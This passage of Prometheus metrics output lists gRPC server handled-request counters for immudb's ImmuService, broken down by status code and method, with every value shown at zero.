grpc_server_handled_total{grpc_code="Aborted",grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Aborted",grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="AlreadyExists",grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Canceled",grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DataLoss",grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="DeadlineExceeded",grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="FailedPrecondition",grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 